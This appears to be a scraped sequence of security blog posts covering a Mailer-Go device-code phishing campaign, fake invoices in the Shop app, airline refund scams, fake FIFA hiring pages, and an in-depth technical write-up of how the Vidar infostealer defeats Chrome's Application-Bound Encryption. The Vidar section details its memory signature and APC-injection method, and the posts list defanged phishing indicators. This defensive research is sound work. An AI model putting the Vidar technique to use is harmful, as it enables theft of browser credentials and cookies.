Autodesk-themed “Bidding Addendum” lure. We found no evidence of detailed industry reconnaissance, so the activity looks more like broad B2B targeting than a tightly tailored campaign.</p><p>The email bodies also used a simple obfuscation technique in which characters were interleaved with question marks:</p><p>T?h?i?s?</p><p>The text remains readable to a person, but the added characters interfere with keyword matching and some content-based detection systems. At the time of analysis, the observed samples had zero detections across the engines available in our internal dataset.</p><p>We also saw Microsoft SafeLinks wrapping in some of the messages. In those cases, the original Mailer-Go URL was stored in the originalsrc attribute rather than the visible href, so analysts reviewing mail traces should inspect both.</p><h2>What defenders should take from this</h2><p>The most useful Mailer-Go indicators are likely to come from the delivery layer rather than the lure itself. Phishing content can be changed quickly, and a Workers URL can disappear. The tracking structure is more consistent.</p><p>In this campaign, Mailer-Go links used *.link.&lt;domain&gt; subdomains and a /t/v3. path containing a numeric campaign ID followed by a long hexadecimal token:</p><p>hxxps://&lt;8-hex&gt;.link.&lt;domain&gt;/t/v3.&lt;campaign-id&gt;.&lt;recipient-token&gt;</p><p>The admin panel also exposed reusable fingerprints, including the title Mailer-Go Mission Control and versioned JavaScript paths such as:</p><p>/assets/js/tracking.js?v=20260522d</p><p>/assets/js/proxies.js?v=20260513b</p><p>/assets/dist/emailbuilder2/manifest.json</p><p>For Microsoft 365 environments, a confirmed device-code phishing event should not be handled as ordinary password phishing. If the attacker received a refresh token, resetting the password may leave access intact. Response should include revoking active sessions and refresh tokens, reviewing device-code sign-ins, checking app consent, reviewing registered authentication methods and devices, and looking for new mailbox rules, MFA changes or suspicious file access after the click.</p><h2>Attribution and limits</h2><p>We have not linked this campaign to a named threat actor.</p><p>The operator appears to be a customer of EvilTokens, which is commercially sold. Mailer-Go is less clear. Its licensing features and commercial-style architecture suggest controlled distribution, but we do not know how the platform is sold or shared, and we cannot rule out the possibility that the operator behind this campaign is also involved in its development.</p><p>There are other limits to what the available evidence can tell us. We observed a low-confidence PE download signal in sandbox telemetry, but no executable was recovered and the same signal appeared when sandboxing the Mailer-Go admin panel itself. Without endpoint evidence showing a PE download or execution after a victim click, we do not treat that as confirmed victim-side malware delivery.</p><h2>Conclusion</h2><p>The reported link was already burned, but it still exposed the campaign’s delivery architecture. Behind the expired URL sat a Mailer-Go tracking server, a backup domain with a fake root site, relay nodes of unconfirmed ownership and an EvilTokens page abusing Microsoft’s device-code flow.</p><p>Mailer-Go is the part defenders should track beyond this campaign. The final lure can change. The Workers URL can disappear. The delivery layer leaves stronger patterns: *.link.&lt;domain&gt; subdomains, /t/v3 tracking paths, single-use tokens, exposed admin panels and a small set of reusable JS fingerprints.</p><h2>Sources and credits</h2><ul type="disc"><li data-list-item-id="e85ca59061a0c2a3192dac54b484f8035">Website snapshots (Figures 1, 2): urlscan.io</li><li data-list-item-id="e4395200636d122ba2fa1724623960f0c">EvilTokens background: public research by Sekoia and Push Security</li></ul>

A single expired URL exposed a phishing campaign built around Mailer-Go, Cloudflare Workers and an EvilTokens OneDrive lure.

The phishing link that died on purpose

Threat Operations Analyst at Gen

<p>A fake invoice in your email is easy to ignore. A fake invoice inside your order history feels different.&nbsp;</p><p>Norton customers have reported fake Norton invoices appearing inside the Shop app, the shopping and order-tracking app from Shopify. Public reports suggest the same technique is not limited to Norton. Similar suspicious Shop app notifications have used McAfee, Apple gift cards, iPhones, PayPal-style payment claims and other high-value purchases as bait. The impersonated brand may change, but the mechanics are familiar: make the user believe they have been charged, then give them a phone number to call.&nbsp;</p><p>That phone number is where the scam really begins.&nbsp;</p><h4>Why the Shop app makes this more believable&nbsp;</h4><p>Shop is a legitimate app. People use it to track packages, check receipts and receive order updates. According to Shop’s own documentation, the app can automatically track orders from several sources, including Gmail, Outlook, the email address linked to the user’s Shop account and orders paid through Shop Pay. If Gmail or Outlook is connected, Shop says it scans recent emails for keywords such as “tracking number” and “track your package” to populate deliveries in the Orders tab.&nbsp;</p>

<p>Shop also supports push notifications for delivery updates, payments and favorite products. So the first alert the victim sees may not be an email, an SMS or a calendar invite. It may be a notification from an app they already use for real purchases.&nbsp;</p><p>That context matters. The scam text is not especially polished. Some of the examples we reviewed contain awkward wording and obvious signs of fraud. But when the message appears inside an order-tracking app, surrounded by real receipts and shipping updates, users may give it more credibility than it deserves.&nbsp;</p><p>The screenshots reported to us show fake orders under generic seller names such as “My Store.” The receipts claim that a Norton or Norton LifeLock subscription has been activated or renewed, usually for several hundred dollars. The phone number appears in the product description, the receipt body or even the shipping address field.&nbsp;</p><p>That is not how a normal receipt should look.&nbsp;</p><h4>The brand is interchangeable&nbsp;</h4><p>Norton is the example we saw through customer reports. Norton support now warns that scammers may abuse Android and iOS shopping platforms or applications to generate fake order notifications that appear to be legitimate Norton purchases. Those notifications may include fake order confirmations, fake charges, trusted third-party app delivery and fake support phone numbers embedded in order details.&nbsp;</p><p>Public user reports point to a wider pattern. One Reddit user described receiving a Shop.app message about a transaction they did not recognize, with no follow-up email confirmation, and a message telling them to call support if the order was not placed by them. Another thread includes reports of unrecognized iPhone purchases under “My Store,” suspicious contact emails and users saying they saw no matching charges on their bank cards. Other reports mention fictitious Apple gift card purchases and iPhone orders using the same kind of wording: “If Order Not Placed By You,” followed by a phone number.&nbsp;</p><p>The choice of brand is part of the social engineering. A fake security subscription charge plays on two fears at once: being billed for something you did not buy, and being left unprotected if you ignore it. Apple products and gift cards create high-value purchase panic. PayPal-style wording makes users worry about payment account abuse. In each case, the fake order is there to push the victim toward a call.&nbsp;</p><h4>What we know, and what we do not&nbsp;</h4><p>We have not found any evidence that any of the impersonated brands have been compromised.&nbsp;&nbsp;</p><p>We also should not claim that Shop or Shopify was breached based on the evidence we have. The exact abuse path still needs confirmation. The fake order may be entering the app through a merchant/order workflow, through email parsing, through account association, or through another legitimate mechanism that scammers have found a way to misuse. Shop’s own documentation shows that orders can populate from multiple sources, so assuming one route would be premature.&nbsp;&nbsp;</p><p>What we can say is narrower and stronger: scammers are placing fake purchase claims inside shopping app order experiences, where users are used to seeing real receipts and order updates. Norton’s own support page now describes this class of shopping app scam, and public reports show similar lures using other brands and products.&nbsp;&nbsp;</p><p>That is enough to warn users without overstating the technical evidence.&nbsp;</p><h4>How the scam works&nbsp;</h4><p>The user receives a notification or sees a new order in the Shop app. The order looks like a receipt for something expensive: a security subscription, an Apple gift card, an iPhone, a MacBook or another high-value purchase.</p>

<p>The receipt says the charge has been processed, the subscription has renewed, or the order is being prepared. Somewhere in the order details, the scammer inserts a phone number, email address or support instruction.&nbsp;</p><p>The wording is often clumsy. We have seen phrases like “If Order Not Place By You” and “If Need Help.” Those errors may look obvious when reviewing a screenshot. They are easier to miss when a phone notification tells you that hundreds of dollars have just been charged.&nbsp;</p><p>If the victim calls, the scam moves off-platform. The person answering may claim to be billing support, Norton support, PayPal support or a cancellation department. The script can vary, but the request usually moves toward credentials, payment data, one-time codes or remote access software.&nbsp;</p><p>By that point, the fake receipt has done its job. It has created enough urgency for the victim to enter a conversation controlled by the scammer.&nbsp;</p><h4>Why this is harder for users to judge&nbsp;</h4><p>Most people understand that email can be spam. They may still fall for phishing, but at least the inbox is a place where scams are expected.&nbsp;</p><p>Order-tracking apps are different. Their purpose is to collect receipts, shipping updates and purchase information in one place. A notification from that environment can feel as if it has already passed through some layer of trust, even when the content inside the order is fraudulent.&nbsp;</p><p>We have seen the same logic with calendar invite scams. The message itself is not always convincing, but the delivery channel changes how people read it. A fake invoice in an inbox is one thing. A fake invoice inside a calendar reminder or shopping app receipt can feel closer to a real event.&nbsp;</p><p>For security products, this also creates a detection problem. The first visible alert may not be an email, SMS or malicious website. It may be a legitimate app notification carrying fraudulent text. The scam still depends on social engineering, but the delivery surface is harder to classify with the usual rules.&nbsp;</p><h4>What to do if you see one&nbsp;</h4><p>Do not call the number in the receipt.&nbsp;</p><p>Check the charge directly. Open your bank or credit card app. Open the official account for the brand being impersonated. If it claims to be Norton, go to your Norton account or official Norton support. If it claims to involve PayPal, open PayPal directly. Do not use the phone number, email address or link inside the suspicious order.&nbsp;</p><p>If there is no matching charge, treat the receipt as a scam attempt.&nbsp;</p><p>Report the suspicious store or message in the Shop app if the option is available. Shop’s help pages say suspicious Shop stores can be reported from the store page through the app, and Shopify also tells users to forward phishing messages to its phishing inbox.&nbsp;&nbsp;</p><p>Norton users can forward suspicious messages to Norton and should verify unexpected charges only through their Norton account or official Norton support channels.&nbsp;&nbsp;</p><p>Opening the receipt does not automatically mean your device was compromised. The risk increases if you call the number, share information, install software or follow instructions from the person on the phone.&nbsp;</p><h4>What to do if you have already called&nbsp;</h4><p>End the call.&nbsp;</p><p>If you shared payment details, contact your bank or card provider immediately using the number on your card or inside your banking app. If you gave away a password, change it from a different device if possible. Start with your email account, Apple ID or Google account, banking account and any account connected to the fake invoice.&nbsp;</p><p>If you installed remote access software, disconnect the device from the internet and remove the software. Run a security scan before using the device again for banking, email or shopping.&nbsp;</p><p>If you gave a one-time code to the caller, treat the related account as compromised. Change the password, review recovery options and check recent login activity.&nbsp;</p><h4>The lesson&nbsp;</h4><p>Scammers keep testing new places to put old tricks. For years, fake invoices were mostly an email problem. Then similar subscription notices appeared in calendar invites. Now we are seeing fake receipts inside shopping app order histories and push notification flows.&nbsp;</p><p>The safest response is to separate the alert from the action. If an app, email, text message or calendar invite says you have been charged, do not use the contact details inside that alert. Go directly to the account or payment provider yourself. Check whether the charge exists. Use official support channels.&nbsp;</p><p>The fake receipt, the fake support number and the fake emergency are all part of the same controlled environment. The moment you verify the charge somewhere else, the scam loses most of its power.&nbsp;</p>

Scammers are using order-tracking apps to place fake receipts where users expect to see real purchases, then pushing them to call fake support numbers. 

Fake invoices are moving from inboxes to shopping apps 

<h2>Introduction&nbsp;</h2><p>Infostealers are constantly evolving, and so are the techniques they use to bypass <a href="https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html" target="_blank" rel="noreferrer noopener">Application-Bound Encryption (ABE)</a>. In recent weeks, Vidar has been among the most actively developed stealers and, apart from <a href="https://x.com/GenThreatLabs/status/2064836539952361976" target="_blank" rel="noreferrer noopener">multiple updates to its string obfuscation</a> and <a href="https://x.com/GenThreatLabs/status/2061462524604649840" target="_blank" rel="noreferrer noopener">a reworked approach to protecting its configuration</a>, it has also introduced a novel technique for bypassing ABE. And while there have been many other changes in Vidar lately, with new versions dropping every week, in this blog post we focus solely on the ABE bypass and its technical aspects.&nbsp;<br>&nbsp;</p><h2>The ABE Bypass&nbsp;</h2><p>From a high-level perspective, Vidar’s approach to bypassing ABE is somewhat similar to that of Remus/Lumma, in that both try to extract the <code>v20_master_key</code> directly from the browser’s memory. What sets them apart, however, is how they achieve it. Since we’ve already covered the inner workings of ABE in earlier posts (<a href="https://www.gendigital.com/blog/insights/research/remus-64bit-variant-of-lumma-stealer" target="_blank" rel="noreferrer noopener">Remus</a>, <a href="https://www.gendigital.com/blog/insights/research/voidstealer-abe-bypass" target="_blank" rel="noreferrer noopener">VoidStealer</a>), we don’t revisit them here and focus instead on the bypass itself. For readers interested in the broader background, we encourage checking those earlier posts.&nbsp;&nbsp;</p><p>In short, the end goal of infostealers is to obtain the <code>v20_master_key</code>, as it alone is sufficient for decrypting any ABE-protected data tied to a specific application. This key can be obtained in one of two ways: either from disk, where it is protected by two layers of <code>CryptProtectData</code> (one applied in the context of the logged-in user and one as <code>NT AUTHORITY\SYSTEM</code>), or from the browser’s memory – the direction Vidar took.&nbsp;</p><p>In memory, however, the key is kept protected with <code>CryptProtectMemory</code> using the <code>CRYPTPROTECTMEMORY_SAME_PROCESS</code> flag. This ensures that even if an attacker manages to read the encrypted form of the key from memory, they cannot simply decrypt it (they would need to invoke the complementary <code>CryptUnprotectMemory</code> function directly from within the browser process). That leaves attackers with two problems to solve: how to find the encrypted key in memory, and how to get it decrypted.&nbsp;</p><h2>Locating the v20_master_key in Browser’s Memory&nbsp;</h2><p>Vidar’s approach to locating the encrypted <code>v20_master_key</code> in memory involves scanning the entire memory of a running browser for a specific pattern. But that first requires a browser process to scan.&nbsp;</p><p>When the target browser is already running, Vidar reuses the existing process. However, it doesn’t read its memory directly. Instead, it creates a fork of it using <code>NtCreateProcessEx</code> with <code>SectionHandle</code> set to <code>NULL</code>, instructing the kernel to clone the address space of the process specified by the <code>ParentProcess</code> as a copy-on-write mapping. The resulting process has no threads and is never resumed – it exists purely as a static memory snapshot.&nbsp;&nbsp;</p><p>To perform the fork, Vidar first opens a handle to the target browser via <code>OpenProcess</code> with <code>PROCESS_QUERY_INFORMATION | PROCESS_CREATE_PROCESS | PROCESS_VM_READ</code>, falling back to <code>PROCESS_CREATE_PROCESS</code> if the initial call fails. It then passes this handle as the <code>ParentProcess</code> argument to <code>NtCreateProcessEx</code>, requesting <code>PROCESS_ALL_ACCESS</code> on the resulting child. If the fork fails, Vidar falls back to scanning the live browser process directly.&nbsp;</p>

<p>If no target browser process is found running, Vidar creates a new isolated desktop via <code>CreateDesktopA</code>, assigns it a name of the form <code>v20_%d</code> (where <code>%d</code> is replaced with the browser’s index in Vidar’s configuration), and launches the target browser in there. In the case of Vidar version 2.1, the browser is launched with the command line <code>--no-first-run --disable-gpu about:blank</code>, although the exact command line varies across versions. Since modern browsers use a multi-process architecture, there are typically multiple processes matching a given browser. Vidar enumerates all of them (up to 64) and applies the fork-and-scan procedure to each one independently.&nbsp;</p>

<p>With a handle to the forked process in hand, Vidar proceeds to enumerate its virtual memory regions using <code>NtQueryVirtualMemory</code>. It iterates through the entire browser’s address space, collecting regions that match a specific profile: committed (<code>MEM_COMMIT</code>), private (<code>MEM_PRIVATE</code>), and either readable (<code>PAGE_READONLY</code>) or read-write (<code>PAGE_READWRITE</code>). Vidar records up to 4096 memory regions matching these requirements, along with their base addresses and sizes.<strong> </strong>The actual pattern scanning is then performed in parallel with up to 64 worker threads, depending on the system.&nbsp;&nbsp;</p>

<p>Each thread scans its assigned regions using <code>NtReadVirtualMemory</code>, searching for a 32-byte pattern. When a match is found, the thread reads 8 bytes at offset +32 from the match, interprets them as a pointer, and validates that it points to committed, private, and readable memory (the expected memory state for the encrypted <code>v20_master_key</code>).&nbsp;&nbsp;</p>

<p>This naturally raises the question of what pattern Vidar searches for. The answer is a 32-byte signature: <code>76 32 30 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 03 00 00 00 00 01 ?? ?? ??</code>, where <code>??</code> denotes a wildcard (Vidar uses the byte <code>AA</code> as the wildcard marker in its internal representation). Notably, the first four bytes correspond to the ASCII <code>v20\x00</code>, which is a common prefix used for ABE-related data.&nbsp;&nbsp;</p>

<p>We assess with high confidence that this pattern is intended to match a node structure within Chromium’s <code>Encryptor::KeyRing</code>, the structure that holds the keys used by the <code>Encryptor</code> class. Now, this part is admittedly a bit tricky as it relies on several assumptions we made about the internal memory layout, as well as on implementation-specific representations of various C++ standard library types <code>(std::map</code>, <code>std::string</code>, <code>std::vector</code>, <code>std::optional</code>), which is why we frame this as a high-confidence rather than a certainty.&nbsp;&nbsp;</p><p>Our reasoning is as follows: <code>KeyRing</code> is <a href="https://github.com/chromium/chromium/blob/cf5d502bcaedb22927e3829a18be1ff6d8b6f598/components/os_crypt/async/common/encryptor.h#L132" target="_blank" rel="noreferrer noopener">defined</a> as <code>std::map&lt;/*tag=*/std::string, std::optional&lt;Key&gt;&gt;</code>, and <code>std::map</code> is typically implemented as a red-black tree, where each tree node stores three pointers (left child, parent, and right child) followed by the key-value pair. In this case, the pair is in the form of <code>std::pair&lt;/*tag=*/std::string, std::optional&lt;Key&gt;&gt;</code>, meaning that the <code>std::string</code> and the <code>Key</code> object might be laid out consecutively in memory within each node. For a <code>v20_master_key</code> entry, the tag corresponds to the string <code>v20</code>, which at 4 bytes including the null terminator fits within the small string optimization (SSO) buffer and is therefore stored inline rather than heap-allocated. The <code>Key</code> class that immediately follows <a href="https://github.com/chromium/chromium/blob/cf5d502bcaedb22927e3829a18be1ff6d8b6f598/components/os_crypt/async/common/encryptor.h#L93-L98" target="_blank" rel="noreferrer noopener">contains three member variables</a>: <code>std::optional&lt;mojom::Algorithm&gt; algorithm_</code>, <code>std::vector&lt;uint8_t&gt; key_</code>, and <code>bool encrypted_ = false</code>.&nbsp;</p><p>Putting it all together and applying it to a concrete example from a browser memory dump, we get the following layout:&nbsp;</p>

<p>Please note that while the exact layout may contain minor inaccuracies on our part, the overall structure should be roughly correct. For easier orientation, the following diagram illustrates how the individual structures are nested within each other:&nbsp;</p>

<p>At this point, it should be clear how the scan pattern maps onto the searched structure. The 32-byte match covers the <code>std::string</code> tag <code>v20\x00</code> and the beginning of the <code>Key</code> object up to and including <code>algorithm_</code>. The pointer at offset +32 from the start of the match then lands precisely on <code>key_.begin</code>, the first member of <code>std::vector&lt;uint8_t&gt;</code> that holds the encrypted <code>v20_master_key</code>.&nbsp;</p><p>Matches from all threads are collected into a shared buffer and subjected to a majority-voting scheme: candidates consisting mostly of zeroes are discarded, the rest are pairwise-compared, and each is scored by the number of identical copies found. This voting is performed independently for each browser process, producing one best candidate per process.&nbsp;</p><h2>Decrypting the v20_master_key via APC Injections&nbsp;</h2><p>For each browser process that produced a match, Vidar now holds a candidate address pointing to a potential encrypted <code>v20_master_key</code>. However, as already noted, since the key is protected with <code>CryptProtectMemory</code> using <code>CRYPTPROTECTMEMORY_SAME_PROCESS</code>, it can only be decrypted by invoking <code>CryptUnprotectMemory</code> from within the browser process itself. Vidar solves this by injecting an Asynchronous Procedure Call (APC) into the live browser process.&nbsp;</p><p>Vidar supports two APC injection methods, selected based on whether ESET or Bitdefender is detected on the system. If either of these products is present, Vidar uses the first method, which it refers to as “classic” (based on decrypted strings) – it creates a suspended thread in the target browser via <code>CreateRemoteThread</code> (with <code>NtTestAlert</code> as the thread start address and the <code>CREATE_SUSPENDED</code> flag), queues an APC using <code>NtQueueApcThread</code>, resumes the thread, and then waits for it to complete via <code>WaitForSingleObject</code> with a randomized timeout. When the thread resumes, it calls <code>NtTestAlert</code>, which flushes the APC queue and executes the injected routine.&nbsp;</p>

<p>If neither product is detected, it uses the “special” method – it finds an existing thread in the target browser using a combination of <code>CreateToolhelp32Snapshot</code> and <code>Thread32First/Thread32Next</code>, opens it via <code>NtOpenThread</code>, and calls <code>NtQueueApcThreadEx2</code> with the <code>QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC</code> flag. Unlike regular APCs, special user APCs execute immediately. Therefore, the target thread does not need to be in an alertable wait state.&nbsp;</p>

<p>In both cases, the APC routine to be executed is <code>CryptUnprotectMemory</code>, called with the following three arguments: the address of the encrypted <code>v20_master_key</code> candidate, its size (32 bytes), and <code>CRYPTPROTECTMEMORY_SAME_PROCESS</code> for the <code>flags</code> parameter.&nbsp;&nbsp;</p><p>Since <code>CryptUnprotectMemory</code> decrypts the data in place, once the APC executes, the key is decrypted directly in the live browser's memory. To read it, Vidar creates a second fork of the browser process and reads the key from the same address using <code>NtReadVirtualMemory</code>. It then compares the result against a snapshot of the encrypted key taken from the first fork before the APC call – if the data is unchanged, decryption failed, and Vidar moves on to the next browser process’s candidate.&nbsp;</p><p>If the data differs, Vidar uses the same second fork to perform an additional verification: it scans the forked process’s memory for the byte sequence <code>v20</code> and, treating each match as a potentially ABE-encrypted entry (cookie, password), attempts AES-256-GCM decryption with the key candidate using <code>BCryptDecrypt</code> (successful GCM tag verification confirms that the key is correct).&nbsp;</p><p>Whenever the data has changed (indicating that decryption of the key took place), Vidar re-encrypts the key in the browser’s memory by injecting another APC with <code>CryptProtectMemory</code> as the routine, preserving the browser’s state. If no candidate produced a successful decryption (i.e., the data remained unchanged after every APC call), Vidar takes a more aggressive approach: it terminates all browser instances, restarts the browser, and repeats the entire scan-decrypt-verify cycle.&nbsp;</p><p>By abusing APC injections instead of the more traditional approach of injecting code via <code>NtWriteVirtualMemory</code> that performs the decryption, Vidar trades one suspicious behavior for another. APC injections are arguably less common and may thus slip past some detection systems, though they are still well-known techniques monitored by AV and EDR solutions. But that is the nature of ABE bypasses – each has its own advantages and disadvantages, and that’s exactly why infostealers keep inventing new ones. &nbsp;</p><h2>Indicator of Compromise (IoC)&nbsp;</h2><p>459daa809751e73f60fbbe4384a7d1653c36bb06945e4eb3635270924241100a (Vidar 2.1)&nbsp;</p>

A Technical Walkthrough of How Vidar Defeats Application-Bound Encryption

Inside Vidar’s ABE Bypass: From Memory Scanning to APC Injections

<p>You have a summer flight booked. You have seen the headlines about jet fuel shortages, cancelled routes and higher travel costs. Then a text message arrives: your flight has been affected, and you need to click a link to confirm your refund or rebook before the offer expires.&nbsp;</p><p>That message feels plausible because the situation around it is real. In April, <a href="https://www.iata.org/en/pressroom/2026-releases/2026-04-17-01/" target="_blank" rel="noreferrer noopener">IATA warned</a> that Europe could start seeing flight cancellations by the end of May if jet fuel shortages materialized. Airlines and governments have since been trying to reassure travelers, while also publishing guidance on passenger rights, refunds and re-routing.&nbsp;&nbsp;</p><p>That is exactly the kind of confusion scammers like. They do not need to cause the disruption, they only need to arrive at the right moment, with the right brand logo and the right sense of urgency.&nbsp;</p><h4>Why travel disruption works so well as a scam hook&nbsp;</h4><p>Most scam messages fail because they arrive out of context. A random refund email from an airline you never use is easy to ignore. A refund message from the airline you are flying with next week, during a period of public travel disruption, is different.&nbsp;</p><p>The scammer’s job is to make you think: “This could be real.”&nbsp;</p><p>That can happen in several ways. You might receive a fake cancellation email that links to a refund form. You might search for an airline’s customer service number and land on a fake support page. You might post publicly on social media asking an airline for help, then receive a reply from an account that looks official. Or you might get a WhatsApp message that knows your hotel name, travel dates or booking reference.&nbsp;</p><p>Each version uses the same pressure point: you are worried about losing money, losing your flight or being stranded.&nbsp;</p><p>Criminals are already using disruption this way. In March, <a href="https://www.theguardian.com/money/2026/mar/15/travel-scam-airline-accounts-fake-refunds-iran-war-flight-disruption" target="_blank" rel="noreferrer noopener">The Guardian reported</a> that fake airline support accounts were targeting travelers affected by Middle East flight disruption. Some victims were looking for help or refunds, then received replies from accounts pretending to represent airlines. The scam moved into direct messages, where victims were asked for details and sent links that led to money being taken instead of refunded.&nbsp;&nbsp;</p><p>The jet fuel story gives scammers another pretext. A message can claim that your flight was cancelled, your fare changed, your fuel surcharge failed, or your refund must be claimed within a few hours. None of those claims needs to be true to be effective.&nbsp;</p><h4>The scam may start before the message arrives&nbsp;</h4><p>A fake travel message becomes much harder to spot when it includes real information.&nbsp;</p><p>This is the idea behind <a href="https://www.gendigital.com/blog/insights/research/reservation-hijack-scam" target="_blank" rel="noreferrer noopener">Reservation Hijack scams</a>, a form of targeted phishing where cybercriminals use real booking details to make a message look legitimate. In some cases, attackers may use information exposed through breaches or compromised travel systems. In other cases, they collect details from emails, social media posts, previous leaks or fake customer service interactions. Gen has previously described Reservation Hijack scams as scams that use real hotel booking details to make fraudulent payment or verification requests feel authentic.&nbsp;&nbsp;</p><p>That distinction matters. A scam message does not need your credit card number to fool you. Knowing your name, your destination, your travel dates and your booking platform may be enough.&nbsp;</p><h4>What these scams can look like&nbsp;</h4><p>A travel disruption scam usually does not begin with a strange offer. It begins with something boring and administrative. That is part of the trick.&nbsp;</p><p>You may see messages like:&nbsp;</p><p>“Your flight has been cancelled due to fuel supply issues. Claim your refund here.”&nbsp;</p><p>“Your rebooking is pending. Confirm passenger details within two hours.”&nbsp;</p><p>“Additional airport tax or fuel surcharge is required to keep your booking.”&nbsp;</p><p>“Your hotel reservation will be cancelled unless payment is verified.”&nbsp;</p><p>“Due to high call volume, please continue this request on WhatsApp.”&nbsp;</p><p>The exact wording changes, but the structure is familiar. There is a problem, a deadline and a link. The message may also move you away from the official channel into SMS, WhatsApp, Telegram, direct messages or a phone call. Once that happens, the scammer controls the conversation.&nbsp;</p><p>There is another detail worth watching: some messages do not ask for money immediately. They start by asking for your booking reference, last name, phone number or one-time password. That can still be dangerous. Those details can help scammers access a booking, impersonate you to customer support, reset an account or make the next message more convincing.&nbsp;</p><h4>Your real passenger rights can be used against you&nbsp;</h4><p>If an airline cancels your flight, you may have rights to a refund, re-routing or assistance, depending on where you are travelling and the rules that apply. The European Commission said passengers affected by cancellations continue to have rights to reimbursement, re-routing or return, airport assistance and compensation for last-minute cancellations in relevant circumstances. It also said airlines cannot retroactively add fuel surcharges to already published final ticket prices.&nbsp;&nbsp;</p><p>That information is useful for travelers, but it is also useful for scammers.&nbsp;</p><p>A fake refund message becomes more believable when people already know refunds are possible. A fake rebooking link becomes more believable when airlines are genuinely changing schedules. A fake “fuel surcharge” demand becomes more dangerous when fuel prices are in the news, even though legitimate retroactive charges may not be allowed in many cases.&nbsp;</p><p>This is why the safest route is not to judge the message only by whether the story sounds plausible. During travel disruption, many scam stories will sound plausible. Judge the channel instead.&nbsp;</p><h4>How to check before you click&nbsp;</h4><p>Start from the airline or booking platform’s official app or website. Do not use the link in the message. Open the app yourself, type the website address yourself, or use the contact details listed on your original booking confirmation.&nbsp;</p><p>Check whether the same cancellation, refund or payment request appears inside your account. If the message is real, the airline or hotel should be able to confirm it through an official channel.&nbsp;</p><p>Be careful with social media support. If an account replies to your public complaint, check whether it is linked from the airline’s official website. Look at the handle carefully. Fake support accounts often copy logos and names, but have small differences in spelling, low follower counts or recently created profiles. The Guardian reported that fraudsters often scan social media for passengers trying to contact legitimate airline accounts and reply to them first, which makes the scam harder to spot.&nbsp;&nbsp;</p><p>Do not share one-time passwords, payment card details or login credentials with anyone who contacts you unexpectedly. A real airline or hotel does not need your banking OTP to send you a refund.&nbsp;</p><p>Be especially suspicious of pressure. “You have 30 minutes to claim your refund” is not customer service. It is a tactic.&nbsp;</p><h4>What to do if you already clicked&nbsp;</h4><p>If you entered payment details, contact your bank or card provider immediately. Ask whether the transaction can be blocked or reversed, and request a new card if needed.&nbsp;</p><p>If you shared login details for an airline, hotel or booking platform, change the password from the official site or app. Use a unique password, not one you use elsewhere. Turn on two-factor authentication where it is available.&nbsp;</p><p>If you shared a one-time password or authentication code, assume the account may have been accessed. Check your booking details, payment methods and recent account activity.&nbsp;</p><p>Report the scam to the airline, hotel or booking platform being impersonated. If the scam came through social media, report the account as impersonation. If money was taken, report it to the relevant fraud authority in your country.&nbsp;</p><h4>The real lesson for summer travel&nbsp;</h4><p>Travel disruption changes how people behave. They search for support numbers in a hurry. They post publicly because customer service queues are long. They accept strange instructions because they are worried about losing a flight or refund.&nbsp;</p><p>Scammers build around that behavior.&nbsp;</p><p>The safest assumption is simple: if a message about your flight, hotel or refund creates urgency and gives you a link, pause. Go back to the official source. A real cancellation will still be there when you check through the airline or booking platform. A scammer needs you to act before you do.&nbsp;</p>

Travel disruption gives scammers the one thing they need most: a believable reason to rush you

Your flight was cancelled. Is the refund message real? 

<p>A fake job interview page is easier to trust than a fake ticket shop.</p><p>In samples reviewed by Gen threat researchers, scammers used branded hiring pages that looked like ordinary recruitment flows: a company logo, a recruiter profile, a 30-minute meeting, and a button to continue with Google or Facebook. There was no attachment to open and no software to install. The credential theft attempt sat inside a step many job applicants already expect: signing in to schedule a call.</p><p>FIFA is an obvious lure ahead of the 2026 World Cup. On May 22, ESET reported fake FIFA-themed websites that copied ticket and merchandise flows to steal money and personal data. Our researchers later found another FIFA-themed domain, hxxps://fifa-mg[.]shop, which followed a naming pattern not mentioned in that report. Domains like these can be short-lived, often appearing for hours or days before they are blocked, abandoned, or taken down.</p><p>Our researchers also found a different kind of FIFA lure: hxxps://fifahiring[.]com, a fake hiring page that encouraged users to schedule a call with an alleged FIFA recruiter. When a user tried to register with a personal Gmail address, the page asked for a business email instead. The page was steering victims toward credentials with more value: accounts that could provide access to a company environment.</p>

<h4>The FIFA hiring page did not point to FIFA</h4><p>The fake page looked believable at first glance.</p>

<p>It used FIFA branding, presented a recruiter identity, and copied parts of the experience users see on legitimate recruiting and scheduling platforms. The recruiter’s name and photo appeared to match a real LinkedIn profile, which made the page feel more credible. For publication, we should keep that person’s identity redacted.</p><p>The domain did not match FIFA’s real hiring infrastructure. FIFA’s legitimate careers pages are jobs.fifa.com and fifa.pinpointhq.com. The fake page used neither. It also loaded the favicon from the real FIFA recruitment site hosted at pinpointhq.com, giving the page a small visual cue borrowed from the legitimate service.</p><p>Other signals pointed in the same direction. The domain and certificate were newly created, from May 23. The site used commodity hosting infrastructure, including Vercel and Render, rather than a corporate environment. Those signs are not enough on their own, but they fit the rest of the evidence.</p><p>The login flow was the clearest part. Credentials were posted to:</p><p>fifeq2026eqbackeq[.]onrender[.]com/api/login</p><p>The Google sign-in prompt was not a real Google authentication window. It was rendered inside the page itself. The visible controls and links did nothing, and the page did not send the user into a genuine Google sign-in flow. According to the analysis, the only Google asset loaded was the favicon, apparently to make the fake window look familiar.</p><p>A page can look like it opened a Google login without ever handing control to Google.</p><p>Researchers also observed hxxps://careers-fifahiring[.]com, which later became inactive, and hxxps://fifajobs[.]com, which showed the same content and was indexed by Google.&nbsp;</p><h4>The recruitment lure went beyond FIFA</h4><p>The FIFA page was one version of a wider recruitment phishing pattern. The brand can change. The flow stays familiar: recruiter profile, meeting prompt, business email, fake sign-in.</p><p>Researchers found similar fake hiring pages abusing other major brands, including <strong>Heineken, Hilton, Coca-Cola, Netflix, PepsiCo, Delta,&nbsp;</strong>and<strong> Spotify</strong>. In the Heineken case, the page appeared to use the identity of someone who, according to LinkedIn, really works as a recruiter at the company.</p>

<p>Additional hunting found two other recruitment-themed kits:</p><p>hxxps://aquent-talent-jobs[.]com<br>hxxps://hays-talent-opportunities[.]com</p><p>The Hays-themed version targeted Facebook credentials instead of Google credentials. Researchers assessed that the Aquent and Hays pages shared code, although they differed from the earlier FIFA examples.</p>

